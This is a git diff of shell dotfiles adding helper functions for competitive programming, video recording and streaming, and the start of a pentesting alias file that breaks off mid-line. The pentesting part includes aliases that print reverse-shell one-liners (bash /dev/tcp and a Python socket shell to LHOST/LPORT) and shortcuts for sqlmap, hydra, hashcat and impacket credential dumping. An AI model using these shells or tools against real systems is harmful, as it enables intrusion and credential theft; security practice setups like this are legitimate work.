g++ -std=c++17 -O2 -Wall -Wextra -o "$exe" "$src" || return 1 + if [ -n "$input" ] && [ -f "$input" ]; then + ./"$exe" < "$input" + else + ./"$exe" + fi +} + +# compile with debug flags and run +cpdebug() { + src="$1"; input="$2" + [ -z "$src" ] && { echo "Usage: cpdebug <source.cpp> [input-file]"; return 1; } + exe="${src%.cpp}" + g++ -std=c++17 -g -O0 -Wall -Wextra -Wshadow -fsanitize=address,undefined -D_GLIBCXX_DEBUG -DLOCAL -o "$exe" "$src" || return 1 + if [ -n "$input" ] && [ -f "$input" ]; then + ./"$exe" < "$input" + else + ./"$exe" + fi +} + +# test solution against sample inputs/outputs +cptest() { + src="$1" + [ -z "$src" ] && { echo "Usage: cptest <source.cpp>"; return 1; } + exe="${src%.cpp}" + g++ -std=c++17 -O2 -o "$exe" "$src" || return 1 + pass=0; fail=0; total=0 + for infile in in*.txt; do + [ ! -f "$infile" ] && continue + num=$(echo "$infile" | grep -oE '[0-9]+') + outfile="out${num}.txt" + [ ! -f "$outfile" ] && continue + total=$((total + 1)) + actual=$(./"$exe" < "$infile" 2>/dev/null) + expected=$(cat "$outfile") + if [ "$actual" = "$expected" ]; then + echo "[PASS] Test $num" + pass=$((pass + 1)) + else + echo "[FAIL] Test $num" + echo " Expected: $expected" + echo " Got: $actual" + fail=$((fail + 1)) + fi + done + echo "" + echo "Results: $pass/$total passed, $fail failed" +} + +# stress test: compare brute force vs optimized solution +cpstress() { + brute="$1"; opt="$2"; gen="$3"; iters="${4:-1000}" + [ -z "$gen" ] && { echo "Usage: cpstress <brute.cpp> <optimized.cpp> <generator.cpp> [iterations]"; return 1; } + echo "[*] Compiling..." + g++ -std=c++17 -O2 -o brute "$brute" || return 1 + g++ -std=c++17 -O2 -o opt "$opt" || return 1 + g++ -std=c++17 -O2 -o gen "$gen" || return 1 + echo "[*] Stress testing ($iters iterations)..." + i=1 + while [ "$i" -le "$iters" ]; do + ./gen "$i" > stress_input.txt + brute_out=$(./brute < stress_input.txt 2>/dev/null) + opt_out=$(./opt < stress_input.txt 2>/dev/null) + if [ "$brute_out" != "$opt_out" ]; then + echo "[FAIL] Iteration $i" + echo "Input:" + cat stress_input.txt + echo "Brute: $brute_out" + echo "Opt: $opt_out" + return 1 + fi + [ $((i % 100)) -eq 0 ] && echo "[*] $i iterations passed" + i=$((i + 1)) + done + echo "[+] All $iters iterations passed" + rm -f brute opt gen stress_input.txt +} + +# TLE checker: run with timeout +cptle() { + src="$1"; input="$2"; limit="${3:-5}" + [ -z "$src" ] && { echo "Usage: cptle <source.cpp> <input-file> [time-limit-sec]"; return 1; } + exe="${src%.cpp}" + g++ -std=c++17 -O2 -o "$exe" "$src" || return 1 + start=$(date +%s%N) + timeout "$limit" ./"$exe" < "$input" > /dev/null 2>&1 + status=$? + end=$(date +%s%N) + elapsed=$(( (end - start) / 1000000 )) + if [ "$status" -eq 124 ]; then + echo "[TLE] Exceeded ${limit}s limit (ran ${elapsed}ms)" + else + echo "[OK] ${elapsed}ms" + fi +} + +# create a random test generator +cpgen() { + output="${1:-gen.cpp}" + cat > "$output" << 'GENEOF' +#include <bits/stdc++.h> +using namespace std; +int main(int argc, char* argv[]) { + mt19937 rng(atoi(argv[1])); + auto rand = [&](int lo, int hi) { return uniform_int_distribution<int>(lo, hi)(rng); }; + + int n = rand(1, 10); + cout << n << "\n"; + for (int i = 0; i < n; i++) { + cout << rand(1, 100) << " \n"[i == n-1]; + } + return 0; +} +GENEOF + echo "[+] Generator template: $output" +} + +# test interactive problem +cpinteractive() { + sol="$1"; interactor="$2" + [ -z "$interactor" ] && { echo "Usage: cpinteractive <solution.cpp> <interactor.cpp>"; return 1; } + g++ -std=c++17 -O2 -o sol_exe "$sol" || return 1 + g++ -std=c++17 -O2 -o int_exe "$interactor" || return 1 + mkfifo pipe1 pipe2 2>/dev/null + ./int_exe < pipe1 > pipe2 & + ./sol_exe < pipe2 > pipe1 + rm -f pipe1 pipe2 sol_exe int_exe +} + +# benchmark a solution +cpbench() { + src="$1"; input="$2"; runs="${3:-10}" + [ -z "$input" ] && { echo "Usage: cpbench <source.cpp> <input-file> [runs]"; return 1; } + exe="${src%.cpp}" + g++ -std=c++17 -O2 -o "$exe" "$src" || return 1 + echo "[*] Benchmarking $runs runs..." + total=0 + i=1 + while [ "$i" -le "$runs" ]; do + start=$(date +%s%N) + ./"$exe" < "$input" > /dev/null 2>&1 + end=$(date +%s%N) + ms=$(( (end - start) / 1000000 )) + total=$((total + ms)) + i=$((i + 1)) + done + avg=$((total / runs)) + echo "[+] Average: ${avg}ms over $runs runs" +} + +# copy template to current directory +cptemplate() { + lang="${1:-cpp}"; name="${2:-sol}" + case "$lang" in + cpp) cp "$CPTPL/cpp.cpp" "$name.cpp" 2>/dev/null ;; + py) cp "$CPTPL/python.py" "$name.py" 2>/dev/null ;; + *) echo "Unknown lang: $lang (try cpp, py)"; return 1 ;; + esac + echo "[+] Created $name.$lang" +} + +# download and save test cases manually +cpsave() { + num="$1" + [ -z "$num" ] && { echo "Usage: cpsave <test-number>"; return 1; } + echo "Paste input (Ctrl+D when done):" + cat > "in${num}.txt" + echo "Paste expected output (Ctrl+D when done):" + cat > "out${num}.txt" + echo "[+] Saved in${num}.txt and out${num}.txt" +} diff --git a/.config/.mksh/creator.sh b/.config/.mksh/creator.sh new file mode 100644 index 0000000000000000000000000000000000000000..c9d7e26dbb5afe7a5aee77cc43638990cd4a2579 --- /dev/null +++ b/.config/.mksh/creator.sh @@ -0,0 +1,335 @@ +# creator -- content creation aliases and functions (recording, streaming, editing) +# Sources: BreadOnPenguins, LukeSmithxyz, mochou-p, NapoleonWils0n, community + +# ============================================================================ +# RECORDING +# ============================================================================ +alias recstatus='cat /tmp/recordingicon 2>/dev/null || echo "not recording"' + +# ============================================================================ +# OBS CLI (requires obs-cli / obs-websocket) +# ============================================================================ +alias obs-stream-start='obs-cli stream start' +alias obs-stream-stop='obs-cli stream stop' +alias obs-stream-toggle='obs-cli stream toggle' +alias obs-stream-status='obs-cli stream status' +alias obs-rec-start='obs-cli recording start' +alias obs-rec-stop='obs-cli recording stop' +alias obs-rec-toggle='obs-cli recording toggle' +alias obs-rec-status='obs-cli recording status' + +# ============================================================================ +# YT-DLP ARCHIVING +# ============================================================================ +alias ytbest='yt-dlp -f "bestvideo+bestaudio" --merge-output-format mkv' +alias ytarchive='yt-dlp -f "bestvideo+bestaudio" --merge-output-format mkv --embed-subs --embed-thumbnail --embed-metadata --embed-chapters --write-info-json' +alias ytsubs='yt-dlp --write-sub --write-auto-sub --sub-lang en --convert-subs srt' + +# ============================================================================ +# GIF / SOCIAL +# ============================================================================ +alias togif='f() { palette="/tmp/palette.png"; ffmpeg -v warning -i "$1" -vf "fps=7,scale=480:-1:flags=lanczos,palettegen" -y "$palette" && ffmpeg -v warning -i "$1" -i "$palette" -lavfi "fps=7,scale=480:-1:flags=lanczos [x]; [x][1:v] paletteuse" -y "${2:-output.gif}"; }; f' + +# ============================================================================ +# TWITCH +# ============================================================================ +alias twitchdl='twitch-dl download' +alias twitchclips='twitch-dl clips' +alias twitchvods='twitch-dl videos' + +# ============================================================================ +# AUDIO QUICK +# ============================================================================ +alias normalize='ffmpeg-normalize' + +# ============================================================================ +# FUNCTIONS +# ============================================================================ + +# toggle screen+audio recording with statusbar indicator +record_toggle() { + if [ -f /tmp/recpid ]; then + kill -15 "$(cat /tmp/recpid)" "$(cat /tmp/audpid 2>/dev/null)" 2>/dev/null + rm -f /tmp/recpid /tmp/audpid + echo "" > /tmp/recordingicon + pkill -RTMIN+3 dwmblocks 2>/dev/null + notify-send "Recording ended" 2>/dev/null + else + res=$(xdpyinfo 2>/dev/null | awk '/dimensions/{print $2}') + [ -z "$res" ] && res="1920x1080" + ffmpeg -s "$res" -f x11grab -r 30 -i :0.0 \ + -c:v h264 -qp 0 "$HOME/video_$(date '+%Y%m%d_%H%M%S').mkv" & + echo $! > /tmp/recpid + ffmpeg -f alsa -i default -af "afftdn=nf=-75" \ + "$HOME/audio_$(date '+%Y%m%d_%H%M%S').wav" & + echo $! > /tmp/audpid + echo "REC" > /tmp/recordingicon + pkill -RTMIN+3 dwmblocks 2>/dev/null + notify-send "Recording started" 2>/dev/null + fi +} + +# dmenu-driven recording mode selector +record_menu() { + getdim() { xdpyinfo | awk '/dimensions/{print $2}'; } + choice=$(printf "screencast\nvideo\nvideo selected\naudio\nwebcam" \ + | dmenu -i -p "Record:") + case "$choice" in + screencast) + ffmpeg -y -f x11grab -framerate 30 -s "$(getdim)" -i "$DISPLAY" \ + -r 24 -f alsa -thread_queue_size 1024 -i default \ + -c:v h264 -crf 0 -preset ultrafast -c:a aac \ + "$HOME/screencast-$(date '+%y%m%d-%H%M-%S').mp4" & + echo $! > /tmp/recordingpid ;; + video) + ffmpeg -f x11grab -framerate 30 -s "$(getdim)" -i "$DISPLAY" \ + -c:v libx264 -qp 0 -r 30 \ + "$HOME/video-$(date '+%y%m%d-%H%M-%S').mkv" & + echo $! > /tmp/recordingpid ;; + "video selected") + slop -f "%x %y %w %h" > /tmp/slop + read X Y W H < /tmp/slop + ffmpeg -f x11grab -framerate 30 -video_size "${W}x${H}" -i :0.0+"$X,$Y" \ + -c:v libx264 -qp 0 -r 30 "$HOME/box-$(date '+%y%m%d-%H%M-%S').mkv" & + echo $! > /tmp/recordingpid ;; + audio) + ffmpeg -f alsa -i default -c:a flac \ + "$HOME/audio-$(date '+%y%m%d-%H%M-%S').flac" & + echo $! > /tmp/recordingpid ;; + webcam) + ffmpeg -f v4l2 -i /dev/video0 -video_size 640x480 \ + "$HOME/webcam-$(date '+%y%m%d-%H%M-%S').mkv" & + echo $! > /tmp/recordingpid ;; + esac +} + +# stop any active recording +record_stop() { + [ -f /tmp/recordingpid ] && kill -15 "$(cat /tmp/recordingpid)" && rm /tmp/recordingpid + [ -f /tmp/recpid ] && kill -15 "$(cat /tmp/recpid)" && rm /tmp/recpid /tmp/audpid 2>/dev/null + echo "" > /tmp/recordingicon + pkill -RTMIN+3 dwmblocks 2>/dev/null +} + +# trim video by start time and duration +trimvid() { + input="$1"; ss="$2"; dur="$3"; output="${4:-${input%.*}_trimmed.${input##*.}}" + [ -z "$dur" ] && { echo "Usage: trimvid <input> <start> <duration> [output]"; return 1; } + ffmpeg -ss "$ss" -t "$dur" -i "$input" -c copy "$output" +} + +# concatenate videos from a list +concatvids() { + listfile="$1"; output="${2:-concat_output.mkv}" + [ -z "$listfile" ] && { echo "Usage: concatvids <list.txt> [output]"; return 1; } + ffmpeg -f concat -safe 0 -i "$listfile" -c copy "$output" +} + +# picture-in-picture overlay +pip_overlay() { + bg="$1"; fg="$2"; output="${3:-pip_output.mkv}"; pos="${4:-br}"; width="${5:-480}" + [ -z "$fg" ] && { echo "Usage: pip_overlay <background> <foreground> [output] [tl|tr|bl|br] [width]"; return 1; } + case "$pos" in + tl) x="10"; y="10" ;; + tr) x="main_w-overlay_w-10"; y="10" ;; + bl) x="10"; y="main_h-overlay_h-10" ;; + br) x="main_w-overlay_w-10"; y="main_h-overlay_h-10" ;; + esac + ffmpeg -i "$bg" -i "$fg" -filter_complex \ + "[1:v]scale=$width:-1[pip];[0:v][pip]overlay=$x:$y" \ + -c:a copy "$output" +} + +# fade video in/out +fadevid() { + input="$1"; duration="${2:-0.5}"; output="${3:-${input%.*}_faded.${input##*.}}" + [ -z "$input" ] && { echo "Usage: fadevid <input> [duration] [output]"; return 1; } + total=$(ffprobe -v error -show_entries format=duration -of default=nw=1:nk=1 "$input" | cut -d. -f1) + fadeout=$((total - ${duration%.*})) + ffmpeg -i "$input" -vf "fade=t=in:st=0:d=$duration,fade=t=out:st=$fadeout:d=$duration" \ + -af "afade=t=in:st=0:d=$duration,afade=t=out:st=$fadeout:d=$duration" "$output" +} + +# split video for YouTube 15-min limit +split_for_yt() { + input="$1"; chunk="${2:-900}" + [ -z "$input" ] && { echo "Usage: split_for_yt <video> [chunk-seconds]"; return 1; } + base="${input%.*}"; ext="${input##*.}" + dur=$(ffprobe -v error -show_entries format=duration -of default=nw=1:nk=1 "$input" | cut -d. -f1) + i=0; part=1 + while [ "$i" -lt "$dur" ]; do + ffmpeg -ss "$i" -t "$chunk" -i "$input" -c copy "${base}_part$(printf '%03d' $part).${ext}" + i=$((i + chunk)); part=$((part + 1)) + done +} + +# seamless loop creator +loopvid() { + input="$1"; crossfade="${2:-5}" + [ -z "$input" ] && { echo "Usage: loopvid <video> [crossfade-sec]"; return 1; } + len=$(ffprobe -v error -select_streams v:0 -show_entries stream=duration \ + -of default=nw=1:nk=1 "$input" | cut -d. -f1) + outlen=$((len - crossfade)) + out=$((len - crossfade - crossfade)) + ffmpeg -ss "$crossfade" -i "$input" -i "$input" -filter_complex \ + "[0:v]fade=t=out:st=$out:d=$crossfade:alpha=1,setpts=PTS-STARTPTS[va0]; \ + [1:v]fade=t=in:st=0:d=$crossfade:alpha=1,setpts=PTS-STARTPTS+$out/TB[va1]; \ + [va0][va1]overlay[outv]" -map "[outv]" -to "$outlen" "loop_${input}" +} + +# noise reduction (sox + ffmpeg) +noisereduce() { + input="$1"; output="${2:-${input%.*}_clean.${input##*.}}" + [ -z "$input" ] && { echo "Usage: noisereduce <input> [output]"; return 1; } + echo "Extracting audio..." + ffmpeg -y -i "$input" -qscale:a 0 /tmp/nr_audio.wav 2>/dev/null + echo "Sample noise: enter start time (e.g. 0.5):" + read ns + echo "Sample end time:" + read ne + ffmpeg -y -i "$input" -vn -ss "$ns" -t "$ne" /tmp/nr_noise.wav 2>/dev/null + sox /tmp/nr_noise.wav -n noiseprof /tmp/nr_profile + echo "Sensitivity (default 0.21):" + read sens + [ -z "$sens" ] && sens="0.21" + sox /tmp/nr_audio.wav /tmp/nr_clean.wav noisered /tmp/nr_profile "$sens" + ffmpeg -y -i "$input" -an -c:v copy /tmp/nr_video.mkv 2>/dev/null + ffmpeg -y -i /tmp/nr_clean.wav -i /tmp/nr_video.mkv -c:v copy "$output" 2>/dev/null + rm -f /tmp/nr_audio.wav /tmp/nr_noise.wav /tmp/nr_profile /tmp/nr_clean.wav /tmp/nr_video.mkv + echo "[+] Cleaned: $output" +} + +# screenshot with optional watermark +screenshot() { + mode="${1:-selection}" + file="$HOME/Pictures/screenshots/$(date '+%Y%m%d_%H%M%S').png" + mkdir -p "$(dirname "$file")" + case "$mode" in + full) maim -q -d 0.2 "$file" ;; + window) maim -B -q -d 0.2 -i "$(xdotool getactivewindow)" "$file" ;; + selection) maim -u -s "$file" ;; + ocr) tmpf=$(mktemp /tmp/ocr-XXXXXX.png); maim -u -s > "$tmpf" && \ + tesseract "$tmpf" - -l eng | xclip -sel clip && rm "$tmpf"; return ;; + esac + xclip -selection clipboard -t image/png -i "$file" + notify-send "Screenshot" "$(basename "$file")" 2>/dev/null +} + +# ImageMagick batch watermark +imgwatermark() { + wm="$1"; shift + [ -z "$wm" ] && { echo "Usage: imgwatermark <watermark.png> <images...>"; return 1; } + for img in "$@"; do + composite -compose overlay -gravity center -dissolve 40% "$wm" "$img" "${img%.*}_wm.${img##*.}" + done +} + +# YouTube live stream via ffmpeg +ytlive() { + streamkey="$1" + [ -z "$streamkey" ] && { echo "Usage: ytlive <stream-key>"; return 1; } + url="rtmp://a.rtmp.youtube.com/live2" + res=$(xdpyinfo 2>/dev/null | awk '/dimensions/{print $2}') + [ -z "$res" ] && res="1920x1080" + ffmpeg -f x11grab -framerate 30 -s "$res" -i "$DISPLAY" \ + -f alsa -thread_queue_size 1024 -i default \ + -c:v libx264 -b:v 4500k -preset veryfast -maxrate 4500k -bufsize 9000k \ + -vf "format=yuv420p" -g 60 \ + -c:a aac -b:a 128k -ar 44100 \ + -f flv "$url/$streamkey" +} + +# upload to YouTube (requires youtube-upload CLI) +ytupload() { + video="$1"; title="$2" + [ -z "$title" ] && { echo "Usage: ytupload <video> <title> [description]"; return 1; } + desc="${3:-Uploaded via CLI}" + youtube-upload \ + --title="$title" \ + --description="$desc" \ + --category="Science & Technology" \ + --privacy=private \ + "$video" +} + +# archive a channel with yt-dlp +ytchannel_archive() { + [ -z "$1" ] && { echo "Usage: ytchannel_archive <channel-url>"; return 1; } + yt-dlp \ + -f "bestvideo[height>=1080]+bestaudio/bestvideo+bestaudio/best" \ + --merge-output-format mkv \ + --embed-subs --embed-thumbnail --embed-metadata --embed-chapters \ + --write-info-json --write-description --write-thumbnail \ + --download-archive archive.txt \ + -o "%(uploader)s/%(upload_date)s - %(title)s [%(id)s].%(ext)s" \ + --sponsorblock-mark all "$1" +} + +# audio output switcher via dmenu +audioswitch() { + options=$(pactl -f json list sinks | jq -r '.[] | .description') + selection=$(echo "$options" | dmenu -i -l 5 -c -p "Output:") + [ -z "$selection" ] && return + sink=$(pactl -f json list sinks | jq -r --arg d "$selection" \ + '.[] | select(.description == $d) | .name') + [ -n "$sink" ] && pactl set-default-sink "$sink" && \ + notify-send "Audio: $selection" 2>/dev/null +} + +# Discord webhook notification (requires DISCORD_WEBHOOK env var) +discord_notify() { + msg="$1" + [ -z "$msg" ] && { echo "Usage: discord_notify <message>"; return 1; } + [ -z "$DISCORD_WEBHOOK" ] && { echo "Set DISCORD_WEBHOOK first"; return 1; } + curl -s -H "Content-Type: application/json" \ + -d "{\"content\":\"$msg\"}" "$DISCORD_WEBHOOK" +} + +# countdown timer with statusbar integration +creator_timer() { + minutes="${1:-25}" + total=$((minutes * 60)) + while [ "$total" -gt 0 ]; do + m=$(printf "%02d" $((total / 60))) + s=$(printf "%02d" $((total % 60))) + printf "\r %s:%s " "$m" "$s" + echo " $m:$s " > /tmp/timericon 2>/dev/null + pkill -RTMIN+3 dwmblocks 2>/dev/null + sleep 1 + total=$((total - 1)) + done + printf "\n" + notify-send "Timer done" "Take a break" 2>/dev/null + echo "" > /tmp/timericon 2>/dev/null + pkill -RTMIN+3 dwmblocks 2>/dev/null +} + +# PipeWire loopback mixing system audio + mic +pw_mix_setup() { + loopback="in_and_out_mix" + default_sink=$(pw-metadata 2>/dev/null | grep 'default.audio.sink' | grep -oP '(?<="name":")[^"]+') + default_source=$(pw-metadata 2>/dev/null | grep 'default.audio.source' | grep -oP '(?<="name":")[^"]+') + pw-loopback --name="$loopback" --channels=2 \ + --capture-props="media.class=Audio/Sink node.name=${loopback}_in" \ + --playback-props="media.class=Audio/Source node.name=${loopback}_out" & + sleep 1 + pw-link "${default_sink}:monitor_FL" "${loopback}_in:playback_FL" 2>/dev/null + pw-link "${default_sink}:monitor_FR" "${loopback}_in:playback_FR" 2>/dev/null + source_port=$(pw-link -o | grep "$default_source" | head -1 | cut -d: -f2-) + pw-link "${default_source}:${source_port}" "${loopback}_in:playback_FL" 2>/dev/null + echo "[+] PipeWire mix ready: ${loopback}_out" +} + +# display selector via dmenu +displayselect() { + screens=$(xrandr -q | awk '/ connected/ {print $1}') + chosen=$(printf "%s\nmulti-monitor\nmanual" "$screens" | dmenu -i -p "Display:") + [ -z "$chosen" ] && return + if [ "$chosen" = "manual" ]; then + arandr & + elif [ "$chosen" = "multi-monitor" ]; then + xrandr --auto + else + xrandr --output "$chosen" --auto --output "$(echo "$screens" | grep -v "$chosen" | head -1)" --off + fi +} diff --git a/.config/.mksh/cyber.sh b/.config/.mksh/cyber.sh new file mode 100644 index 0000000000000000000000000000000000000000..17aa0749d38f61654cd9c25e4201002f6ba1cfa6 --- /dev/null +++ b/.config/.mksh/cyber.sh @@ -0,0 +1,1760 @@ +# cyber -- pentesting, reverse engineering, cryptography, OSINT, forensics +# Sources: community, omniscient training framework + +# ============================================================================ +# aliases: nmap +# ============================================================================ +alias nq='nmap -sn' # quick ping sweep +alias ns='nmap -sS -sV -O' # SYN scan + version + OS detect +alias nf='nmap -sS -p- -T4' # full port SYN scan, fast +alias nu='nmap -sU --top-ports 100' # UDP top 100 ports +alias nv='nmap -sV -sC' # version + default scripts +alias na='nmap -A -T4' # aggressive scan +alias nvuln='nmap --script vuln' # run all vuln scripts +alias nsmb='nmap -p 445 --script smb-vuln*' # SMB vulnerability scan +alias nhttp='nmap --script http-enum' # HTTP enumeration +alias nxml='nmap -oX' # output XML format +alias ngrep='nmap -oG -' # output grepable to stdout + +# ============================================================================ +# aliases: gobuster / feroxbuster / directory brute +# ============================================================================ +alias gdir='gobuster dir -t 50' +alias gdirw='gobuster dir -t 50 -w /usr/share/wordlists/dirb/common.txt' +alias gdirbig='gobuster dir -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' +alias gdns='gobuster dns -t 50' +alias gvhost='gobuster vhost -t 50' +alias ferox='feroxbuster -t 100' +alias feroxr='feroxbuster -t 100 --auto-tune --smart' + +# ============================================================================ +# aliases: ffuf (fuzzing) +# ============================================================================ +alias ffdir='ffuf -t 100 -mc 200,301,302,403' +alias ffsub='ffuf -t 100 -mc 200' +alias ffparam='ffuf -t 100 -mc 200' + +# ============================================================================ +# aliases: netcat / listeners +# ============================================================================ +alias ncl='nc -lvnp' +alias nclr='rlwrap nc -lvnp' + +# ============================================================================ +# aliases: reverse shells (generators) +# ============================================================================ +alias rshell='echo "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"' +alias rshellpy='echo "python3 -c '\''import socket,subprocess,os;s=socket.socket();s.connect((\"LHOST\",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'\''"' + +# ============================================================================ +# aliases: web scanning +# ============================================================================ +alias nikto='nikto -h' +alias whatweb='whatweb -a 3' +alias wpscan='wpscan --enumerate vp,vt,u' +alias sqlm='sqlmap --batch --random-agent' +alias sqlmr='sqlmap --batch --random-agent --risk 3 --level 5' + +# ============================================================================ +# aliases: nuclei +# ============================================================================ +alias nuc='nuclei -t ~/nuclei-templates/' +alias nucup='nuclei -update-templates' +alias nucc='nuclei -severity critical' +alias nuch='nuclei -severity high,critical' + +# ============================================================================ +# aliases: metasploit +# ============================================================================ +alias msf='msfconsole -q' +alias msfv='msfvenom' +alias msfdb='msfdb start' + +# ============================================================================ +# aliases: hydra / brute force +# ============================================================================ +alias hyssh='hydra -t 4 -V' +alias hyweb='hydra -t 16 -V' + +# ============================================================================ +# aliases: hashcat / john +# ============================================================================ +alias hc='hashcat' +alias hcb='hashcat -a 0' +alias hcr='hashcat -a 0 -r /usr/share/hashcat/rules/best64.rule' +alias hcbf='hashcat -a 3' +alias hcs='hashcat --show' +alias jtr='john' +alias jtrw='john --wordlist=/usr/share/wordlists/rockyou.txt' +alias jtrs='john --show' + +# ============================================================================ +# aliases: privilege escalation +# ============================================================================ +alias linpeas='sh linpeas.sh' +alias lse='sh linux-smart-enumeration.sh -l 2' + +# ============================================================================ +# aliases: file transfer shortcuts +# ============================================================================ +alias pyserv='python3 -m http.server 8888' +alias pyserv80='python3 -m http.server 80' +alias phpserv='php -S 0.0.0.0:8888' +alias smbserv='impacket-smbserver share . -smb2support' +alias ftpserv='python3 -m pyftpdlib -p 21 -w' + +# ============================================================================ +# aliases: encoding / decoding +# ============================================================================ +alias b64e='base64' +alias b64d='base64 -d' +alias urle='python3 -c "import sys,urllib.parse;print(urllib.parse.quote(sys.stdin.read().strip()))"' +alias urld='python3 -c "import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))"' +alias hexe='xxd -p' +alias hexd='xxd -r -p' +alias md5sum='md5sum' +alias sha1='sha1sum' +alias sha256='sha256sum' + +# ============================================================================ +# aliases: network utilities +# ============================================================================ +alias myip='curl -s ifconfig.me' +alias myip6='curl -s ifconfig.me/ip6' +alias ports='ss -tlnp' +alias portsu='ss -ulnp' +alias portsa='ss -tlunp' +alias sniff='tcpdump -i any -w' +alias arpwatch='arp -an' +alias dnsrecon='dig +short' +alias whoislookup='whois' + +# ============================================================================ +# aliases: proxychains / tor +# ============================================================================ +alias pc='proxychains4' +alias pcnmap='proxychains4 nmap' +alias pcurl='proxychains4 curl' +alias torstatus='systemctl status tor' +alias torstart='systemctl start tor' +alias torip='proxychains4 curl -s ifconfig.me' + +# ============================================================================ +# aliases: curl pentesting +# ============================================================================ +alias curlh='curl -sI' +alias curlv='curl -sv' +alias curlk='curl -sk' +alias curlx='curl -x' +alias curlua='curl -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"' + +# ============================================================================ +# aliases: git intel +# ============================================================================ +alias gitlog='git log --oneline -20' +alias gitdump='git-dumper' +alias gitls='git ls-files' + +# ============================================================================ +# aliases: searchsploit / exploit lookup +# ============================================================================ +alias sse='searchsploit' +alias ssem='searchsploit -m' +alias ssex='searchsploit -x' +alias sseu='searchsploit --update' + +# ============================================================================ +# aliases: enum4linux / SMB +# ============================================================================ +alias e4l='enum4linux -a' +alias smblist='smbclient -L' +alias smbget='smbclient' +alias cmex='crackmapexec' +alias cmesmb='crackmapexec smb' +alias cmewinrm='crackmapexec winrm' + +# ============================================================================ +# aliases: impacket +# ============================================================================ +alias psexec='impacket-psexec' +alias wmiexec='impacket-wmiexec' +alias smbexec='impacket-smbexec' +alias secretsdump='impacket-secretsdump' +alias getTGT='impacket-getTGT' +alias getST='impacket-getST' +alias getuserspns='impacket-GetUserSPNs' + +# ============================================================================ +# aliases: active directory +# ============================================================================ +alias bh='bloodhound' +alias bhpy='bloodhound-python' +alias rpcdump='impacket-rpcdump' +alias lookupsid='impacket-lookupsid' + +# ============================================================================ +# aliases: misc tools +# ============================================================================ +alias responder='responder -I' +alias chisel='chisel' +alias lfi='curl -s' +alias rot13="tr 'A-Za-z' 'N-ZA-Mn-za-m'" +alias exif='exiftool' +alias stego='steghide extract -sf' +alias binwalk='binwalk -e' +alias strings='strings -a' + +# ============================================================================ +# aliases: directory shortcuts +# ============================================================================ +alias cdhtb='cd ~/src/omniscient/writeups/hackthebox' +alias cdthm='cd ~/src/omniscient/writeups/tryhackme' +alias cdomni='cd ~/src/omniscient' +alias cdscripts='cd ~/src/omniscient/scripts' +alias cdsess='cd ~/src/omniscient/sessions' +alias cdwl='cd /usr/share/wordlists' + +# ============================================================================ +# aliases: reverse engineering - disassembly +# ============================================================================ +alias objdumpi='objdump -d -M intel' +alias objdumps='objdump -s' +alias objdumph='objdump -x' +alias readelfh='readelf -l' +alias readelfsh='readelf -S' +alias readelf_dyn='readelf -d' +alias nm_all='nm -a' +alias nm_dyn='nm -D' +alias nm_undef='nm -u' +alias r2='radare2' +alias r2a='radare2 -A' +alias rzai='rizin -A' +alias ghidra_hl='analyzeHeadless' + +# ============================================================================ +# aliases: reverse engineering - dynamic analysis +# ============================================================================ +alias gdbgef='gdb -q -x ~/.gdbinit-gef' +alias gdbpwn='gdb -q -x ~/.gdbinit-pwndbg' +alias gdbatt='gdb -p' +alias gdbcore='gdb -c' +alias ltracec='ltrace -c' +alias stracewrite='strace -e write,read' +alias straceopen='strace -e openat,open' +alias valgrindcall='valgrind --tool=callgrind' +alias frida='frida -l' +alias rr='rr record' +alias rrreplay='rr replay' + +# ============================================================================ +# aliases: reverse engineering - binary analysis +# ============================================================================ +alias checksec='checksec --file' +alias ropgadget='ROPgadget --file' +alias one_gadget='one_gadget' +alias ropper='ropper -f' + +# ============================================================================ +# aliases: reverse engineering - malware +# ============================================================================ +alias yarascan='yara -r -s' +alias ssdeep='ssdeep -r -p' +alias ssdeepcompare='ssdeep -d' +alias die='detect-it-easy' +alias upxunpack='upx -d' +alias upxtest='upx -t' + +# ============================================================================ +# aliases: reverse engineering - firmware +# ============================================================================ +alias binwalkx='binwalk -Me' +alias binwalka='binwalk -A' +alias jefferson='jefferson' +alias sasquatch='sasquatch -e rootfs -d out' +alias unsquash='unsquashfs' + +# ============================================================================ +# aliases: cryptography - openssl +# ============================================================================ +alias ocert='openssl x509 -text -noout -in' +alias ocertdate='openssl x509 -noout -dates -in' +alias ocertsha='openssl x509 -noout -fingerprint -sha256 -in' +alias opem2der='openssl x509 -inform PEM -outform DER -in' +alias oder2pem='openssl x509 -inform DER -outform PEM -in' +alias ocsrinfo='openssl req -text -noout -verify -in' +alias otlscheck='openssl s_client -connect' +alias ociphers='openssl ciphers -v' +alias ogenrsa='openssl genrsa' +alias ogenec='openssl ecparam -genkey -name' +alias okeyinfo='openssl pkey -text -noout -in' +alias opubkey='openssl pkey -pubout -in' +alias oenc='openssl enc -e -aes-256-cbc -in' +alias odec='openssl enc -d -aes-256-cbc -in' + +# ============================================================================ +# aliases: cryptography - GPG +# ============================================================================ +alias gpglist='gpg --list-keys' +alias gpglistsec='gpg --list-secret-keys' +alias gpggen='gpg --full-generate-key' +alias gpgenc='gpg -e -r' +alias gpgdec='gpg -d' +alias gpgsign='gpg --sign' +alias gpgverify='gpg --verify' +alias gpgexport='gpg --export -a' +alias gpgimport='gpg --import' + +# ============================================================================ +# aliases: cryptography - SSH keys +# ============================================================================ +alias sshgenrsa='ssh-keygen -t rsa -b 4096' +alias sshgened25519='ssh-keygen -t ed25519' +alias sshpubfrom='ssh-keygen -y -f' +alias sshfingerprint='ssh-keygen -lf' + +# ============================================================================ +# aliases: cryptography - TLS analysis +# ============================================================================ +alias testssl='testssl.sh' +alias sslyze='sslyze' +alias sslscan='sslscan' +alias tlsnmap='nmap -sV --script ssl-*' + +# ============================================================================ +# aliases: cryptography - tools +# ============================================================================ +alias xortool='xortool' +alias ciphey='ciphey' +alias rsactftool='RsaCtfTool.py' +alias asn1parse='openssl asn1parse -in' + +# ============================================================================ +# aliases: OSINT - DNS recon +# ============================================================================ +alias diga='dig +answer +short' +alias digmx='dig MX +short' +alias digns='dig NS +short' +alias digsoa='dig SOA +short' +alias digall='dig ANY +short' +alias amass='amass enum -d' +alias subfinder='subfinder -d' + +# ============================================================================ +# aliases: OSINT - web recon +# ============================================================================ +alias httpx='httpx -silent' +alias 